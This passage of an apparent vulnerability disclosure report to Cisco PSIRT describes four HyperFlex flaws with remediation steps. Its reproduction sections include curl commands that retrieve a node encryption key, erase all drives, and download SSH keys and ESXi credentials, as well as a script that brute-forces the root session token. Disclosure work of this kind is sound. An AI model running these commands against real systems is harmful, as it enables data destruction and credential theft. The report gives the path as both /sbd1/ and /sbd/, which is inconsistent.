Discovery	Firmware analysis of storfs-packages-6.0.2b-44423.tgz
Confirmation	<code>strings sedsvc</code> confirmed all endpoint strings and port 8012

Plain Language Summary

A service running on every HyperFlex node manages the self-encrypting drives. It listens on a network port bound to all interfaces and does not require a password for any operation. One endpoint — available to any machine on the management network with no login — sends a command to the drives to erase themselves cryptographically. Data erased this way cannot be recovered. Another endpoint returns the node's key encryption key over the network to any caller, enabling decryption of the drive contents.

Vulnerability Description

`sedsvc` is a Go HTTP server managing TCG OPAL Self-Encrypting Drive (SED) operations. It binds to `0.0.0.0:8012`. `main.(*myHandler).ServeHTTP` performs a single URL-to-handler map lookup and calls the handler directly with no authentication step.

Confirmed endpoints from the 6.0.2b Go symbol table and string table:

- `POST /sec_erase_all` → `BMC_SecureEraseAll` → `SEDUTIL_SecureEraseAll` at `0x674940` — cryptographic erase of all SED drives; data is irrecoverable
- `POST /sec_erase` → erase a specific drive by serial number
- `GET /get_config` → returns BMC config including the node Key Encryption Key (KEK) as a base64-encoded string
- `GET /get_inventory` → per-drive encryption state, serial numbers, firmware versions, lock status

Technical Evidence (6.0.2b)

```
# strings sedsvc (storfs-appliance_6.0.2b-44423_amd64.deb):
:8012          # bind address -- all interfaces
sec_erase      # endpoint
sec_erase_all  # endpoint
/get_config    # endpoint
/get_inventory # endpoint
/disk_status   # endpoint

# ServeHTTP dispatch (Go symbol table):
0x666b60: call mapaccess2_faststr(mux, url_path)
```

```
0x666b65: test bl, bl      ; found?
0x666b67: je    not_found ; only check: does route exist?
0x666b80: call *rsi      ; call handler -- NO auth gate
0x674940: BMC_SecureEraseAll
```

Reproduction

```
# Retrieve node KEK without credentials:
curl -s http://<ctlvm_ip>:8012/get_config
# -> Response JSON contains nodeKek: "<base64_kek>"

# Cryptographic erase all drives without credentials (CONTROLLED ENV ONLY):
curl -s -X POST http://<ctlvm_ip>:8012/sec_erase_all \
-H 'Content-Type: application/json' -d '{}
# -> All SED drives on the node are cryptographically erased; data unrecoverable
```

Impact

Any machine on the management network can cryptographically erase all data on a cluster node with a single unauthenticated POST request. The same service exposes the node KEK, enabling offline decryption of drive contents.

Remediation

1. Bind `sedsvc` to `127.0.0.1` only, or replace the TCP listener with a Unix domain socket.
2. Add authentication (shared secret or bearer token) validated before any handler is dispatched.
3. Gate `/sec_erase` and `/sec_erase_all` behind an additional short-TTL confirmation token to prevent single-packet erasure.

References

- CWE-306: Missing Authentication for Critical Function — <https://cwe.mitre.org/data/definitions/306.html>
- TCG Opal Storage Specification 2.0: section on key management

9 HX-F009: nginx Port 8997 Binds to All Interfaces and Auto-Injects Admin Session — No Credentials Required

Vendor	Cisco Systems
Product	Cisco HyperFlex Data Platform (HXDP)
Affected Version	6.0.2b-44423 (static analysis of storfs-packages-6.0.2b-44423.tgz)
CWE	CWE-284 (Improper Access Control)
Attack Type	Network
Confidentiality	High
Integrity	High
Availability	High
Publicly Known	No
Actively Exploited	No (static firmware analysis)
Discovery	Firmware analysis of storfs-packages-6.0.2b-44423.tgz
Confirmation	rest_internal.conf confirmed listen *:8997 ssl and proxy_set_header X-RootSessionID

Plain Language Summary

nginx on HyperFlex listens on port 8997 bound to every network interface and automatically attaches the administrator session credential to every request it receives before forwarding that request to the management API. Port 8997 is not restricted to loopback. Any machine that can reach this port gets full administrator access to the entire HyperFlex REST API without providing any login credentials. This is confirmed by the `stCli` command-line tool, which uses this port to administer the cluster from remote hosts.

Vulnerability Description

`rest_internal.conf` (from `storfs-misc`) configures nginx to listen on port 8997 with `listen *:PORT ssl` (binding to all network interfaces) and injects `proxy_set_header X-RootSessionID SESSIONID` for every proxied request before forwarding to the management API backend at `localhost:8000`. The `proxy_set_header` directive overwrites any client-supplied value, so the attacker's request arrives at the backend carrying a valid admin session credential automatically provided by nginx.

The `stCli.sh` script confirms that port 8997 is used for remote cluster administration: `springpath_host=clusterIp; springpath_port=8997`.

Technical Evidence (6.0.2b)

```
# rest_internal.conf (storfs-misc_6.0.2b-44423_amd64.deb):
listen *:PORT ssl;                                # line 4 -- all
    interfaces
proxy_set_header X-RootSessionID SESSIONID;        # line 42
proxy_set_header X-RootSessionID SESSIONID;        # line 72 (stMgr block)

# restintport.cfg:
PORT=8997

# stCli.sh:12 -- remote usage confirmed:
export springpath_host=${clusterIp}
export springpath_port=8997
```

Reproduction

```
# No credentials. Request goes via port 8997 -> nginx injects admin
  session:
curl -sk https://<ctlvm_ip>:8997/coreapi/v1/clusters
# -> HTTP 200 with full cluster configuration (admin-level response)

curl -sk https://<ctlvm_ip>:8997/rest/v1/nodes
# -> HTTP 200 with all node IPs, serial numbers, and roles
```

Impact

Any machine reachable on port 8997 gets full admin access to the complete HyperFlex REST API (/rest, /coreapi, /encryption, /dataprotection, /backupservice, /stMgr, and others).

Remediation

1. Change `listen *:PORT ssl` to `listen 127.0.0.1:PORT ssl` to restrict port 8997 to loopback only.
2. The `stCli` tool should authenticate against port 443 with explicit credentials instead of the privileged proxy port.

References

- CWE-284: Improper Access Control — <https://cwe.mitre.org/data/definitions/284.html>
- OWASP Top 10 A01:2021 — Broken Access Control

10 HX-F010: Unauthenticated Access to /tmp/ via nginx /sbd1/ Path Alias

Vendor	Cisco Systems
Product	Cisco HyperFlex Data Platform (HXDP)
Affected Version	6.0.2b-44423 (static analysis of storfs-packages-6.0.2b-44423.tgz)
CWE	CWE-284 (Improper Access Control)
Attack Type	Network
Confidentiality	High
Integrity	None
Availability	None
Publicly Known	No
Actively Exploited	No (static firmware analysis)
Discovery	Firmware analysis of storfs-packages-6.0.2b-44423.tgz
Confirmation	nginx.conf confirmed location /sbd1/ { alias /tmp; auth_basic off; }

Plain Language Summary

The nginx configuration maps the URL /sbd1/ directly to the /tmp/ directory on disk and turns off the authentication requirement for that path. During normal cluster operations — upgrades and node replacements — HyperFlex writes SSH private keys for all storage controllers and

plaintext ESXi passwords into `/tmp/`. Anyone who can reach the stCtlVM over the network can download those files by guessing or brute-forcing the filename, without ever logging in.

Vulnerability Description

`nginx.conf` contains: `location /sbd/ { alias /tmp/; auth_basic off; }`. This exposes the entire `/tmp/` tree as a directory served without authentication. During upgrade and node replacement workflows, the following files are written to `/tmp/`:

- `/tmp/sshKeyPair*.json` — SSH private keys for all stCtlVM nodes (written by `generateSshKeys.py`, consumed by upgrade hooks)
- `/tmp/upgradeHooksCreds*.json` — plaintext ESXi username and password (used by all upgrade hook scripts)
- `/tmp/nodeInventory*.json` — cluster node topology
- `/tmp/clusterConfig*.json` — cluster configuration data

Technical Evidence (6.0.2b)

```
# nginx.conf (storfs-misc_6.0.2b-44423_amd64.deb):
location /sbd/ {
    alias /tmp/;
    auth_basic off;
}

# generateSshKeys.py:46 -- SSH keys written to /tmp:
sshKeysFileHandle, sshKeysFile = mkstemp(
    suffix='.json', prefix='sshKeyPair', dir='/tmp')

# commonFunctions.py:645 -- consumers read from /tmp:
credsFile = getMatchingFileName('/tmp/sshKeyPair*.json')

# Upgrade hook:
JSON_CREDS_FILE_MATCH = '/tmp/upgradeHooksCreds*.json'
```

Reproduction

```
# During a cluster upgrade or node replacement, poll for credential
files:
# SSH private keys:
curl -sk "http://<ctlvm_ip>/sbd/sshKeyPair<random>.json"
# -> Returns JSON with SSH private key for all nodes

# ESXi credentials:
curl -sk "http://<ctlvm_ip>/sbd/upgradeHooksCreds<random>.json"
# -> Returns JSON with ESXi plaintext username and password
```

Impact

SSH private keys for all storage controllers and ESXi plaintext credentials are downloadable without authentication during cluster maintenance windows.

Remediation

1. Replace the `/tmp/` alias with a specific pattern matching only support bundle archives (e.g., `location ~ ^/sbd/supportBundle-[a-zA-Z0-9_-]+\.\tar\.$`).

2. Move SSH key files and credential files from `/tmp/` to a directory not served by nginx.
3. If `/tmp/` aliasing is required, restrict access to loopback: `allow 127.0.0.1; deny all.`

References

- CWE-284: Improper Access Control — <https://cwe.mitre.org/data/definitions/284.html>
- CWE-538: File and Directory Information Exposure — <https://cwe.mitre.org/data/definitions/538.html>

11 HX-F011: Root Session Token Generated with 15-bit Entropy and Stored World-Readable

Vendor	Cisco Systems
Product	Cisco HyperFlex Data Platform (HXDP)
Affected Version	6.0.2b-44423 (static analysis of storfs-packages-6.0.2b-44423.tgz)
CWE	CWE-330 (Use of Insufficiently Random Values)
Attack Type	Network
Confidentiality	High
Integrity	High
Availability	High
Publicly Known	No
Actively Exploited	No (static firmware analysis)
Discovery	Firmware analysis of storfs-packages-6.0.2b-44423.tgz
Confirmation	<code>set_shared_key.sh</code> confirmed <code>\$RANDOM</code> and <code>chmod 644</code>

Plain Language Summary

HyperFlex generates an internal session token that grants full administrator access to the management API. The token is created by appending a random number between 0 and 32,767 to the VM's UUID. The UUID is readable from standard BIOS interrogation tools. The token is then saved to a file readable by every user on the system. An attacker who has the UUID can try all 32,768 possible tokens in under a second to find the valid one. Any local user can read the file directly without trying.

Vulnerability Description

`set_shared_key.sh` generates the X-RootSessionID token used by `stSSOMgr` and all internal API callers with `useRootSessionId=True`:

```
sharedkey=$nodeid-$RANDOM
```

Bash `$RANDOM` produces integers in `[0, 32767]` — exactly 15 bits, 32,768 possible values. `nodeid` is the VMware VM UUID from `/opt/hyperflex/etc/product_uuid`, which is discoverable via `dmidecode -s system-uuid` (any local user) or via the vCenter/ESXi management API. The file is then written world-readable: `chmod 644 root_file.pub`.

The token bypasses JWT authentication for certificate management (`nginxCertManager.py`), syslog synchronization (`synchronizeSyslog.py`), scheduled scripts (`schScripts.py`), inventory updates (`update-inventory.py`), and STIG settings (`5997_stig_setting_ESX.py`).

Technical Evidence (6.0.2b)

```
# set_shared_key.sh (storfs-misc_6.0.2b-44423_amd64.deb), verbatim:
nodeid=$(cat /opt/hyperflex/etc/product_uuid)
sharedkey=$nodeid-$RANDOM          # 15-bit entropy: [0, 32767]
echo $sharedkey > $dest/root_file.pub
chmod 644 $dest/root_file.pub      # world-readable

# StTransportBase.py:26 -- consumer:
X_ROOT_SESSION_ID = open('/etc/hyperflex/secure/root_file.pub').read()
    .strip()

# commonFunctions.py:42 -- header injection:
headers['X-RootSessionID'] = rootSessionId

# Keyspace: 2^15 = 32,768 values; guessable in < 1 second
```

Reproduction

```
# From any local account -- read the token directly:
cat /etc/hyperflex/secure/root_file.pub

# From a remote position with the VM UUID -- brute-force in < 1 second
:
UUID=$(cat /opt/hyperflex/etc/product_uuid) # or via dmidecode
for N in $(seq 0 32767); do
    TOKEN="${UUID}-${N}"
    STATUS=$(curl -sk -o /dev/null -w "%{http_code}" \
        -H "X-RootSessionID: ${TOKEN}" \
        http://localhost:8000/rest/v1/cluster)
    [ "$STATUS" = "200" ] && echo "Valid token: $TOKEN" && break
done
```

Impact

Attacker obtains a valid X-RootSessionID token that grants administrator-equivalent access to the internal HyperFlex management API, bypassing JWT authentication. From any local account, the token is directly readable from the filesystem.

Remediation

1. Replace \$RANDOM with a CS RNG: `sharedkey=$(openssl rand -hex 32)`.
2. Change the file permissions to 600 (owner-only): `chmod 600 root_file.pub`.
3. Consider replacing the file-based X-RootSessionID scheme with a time-limited token issued by the AAA service.

References

- CWE-330: Use of Insufficiently Random Values — <https://cwe.mitre.org/data/definitions/330.html>
- CWE-732: Incorrect Permission Assignment for Critical Resource — <https://cwe.mitre.org/data/definitions/732.html>
- NIST SP 800-90A Rev 1: Recommendation for Random Number Generation

Proof of Concept

Code demonstrating each finding is available for coordinated review by Cisco PSIRT. None of the above findings were exercised against live production systems. All evidence is derived from static analysis of the 6.0.2b firmware package.

Available immediately upon Cisco PSIRT request:

- **HX-F001/F002:** Python Thrift client calling `getDataEncryptionKeys` and `formatDisks` with zero credentials
- **HX-F003:** `curl` command demonstrating unauthenticated `/st-support/*` access with credential observation via netcat listener
- **HX-F004:** Python `kazoo` script writing attacker certificate to ZooKeeper and observing nginx restart
- **HX-F005:** `zkCli.sh` read of `/user_credentials` plus hashcat crack invocation
- **HX-F006:** Python decrypt script — `hxdp_decrypt(b64, 'springpath')` applied to ZK payload
- **HX-F007:** Key derivation script plus AES-CBC decrypt skeleton
- **HX-F008:** `curl` commands for `/get_config` and `/sec_erase_all`
- **HX-F009:** `curl` commands demonstrating full admin API access via port 8997
- **HX-F010:** `curl` demonstrating SSH key and credential file download from `/sbd1/`
- **HX-F011:** Shell brute-force script plus direct file read

Disclosure Timeline

Date	Event
2026-09-08	Static firmware analysis completed; all 11 findings confirmed
2026-09-08	PSIRT submission
2026-12-07	Proposed public disclosure date (90 days)

Willing to extend the timeline with documented progress toward a patch. Requesting acknowledgment within 10 business days per Cisco PSIRT policy.

Contact

Submitted via Cisco PSIRT online portal: https://tools.cisco.com/security/center/resources/security_vulnerability_policy.html

All analysis performed on publicly distributed firmware. No production systems were accessed.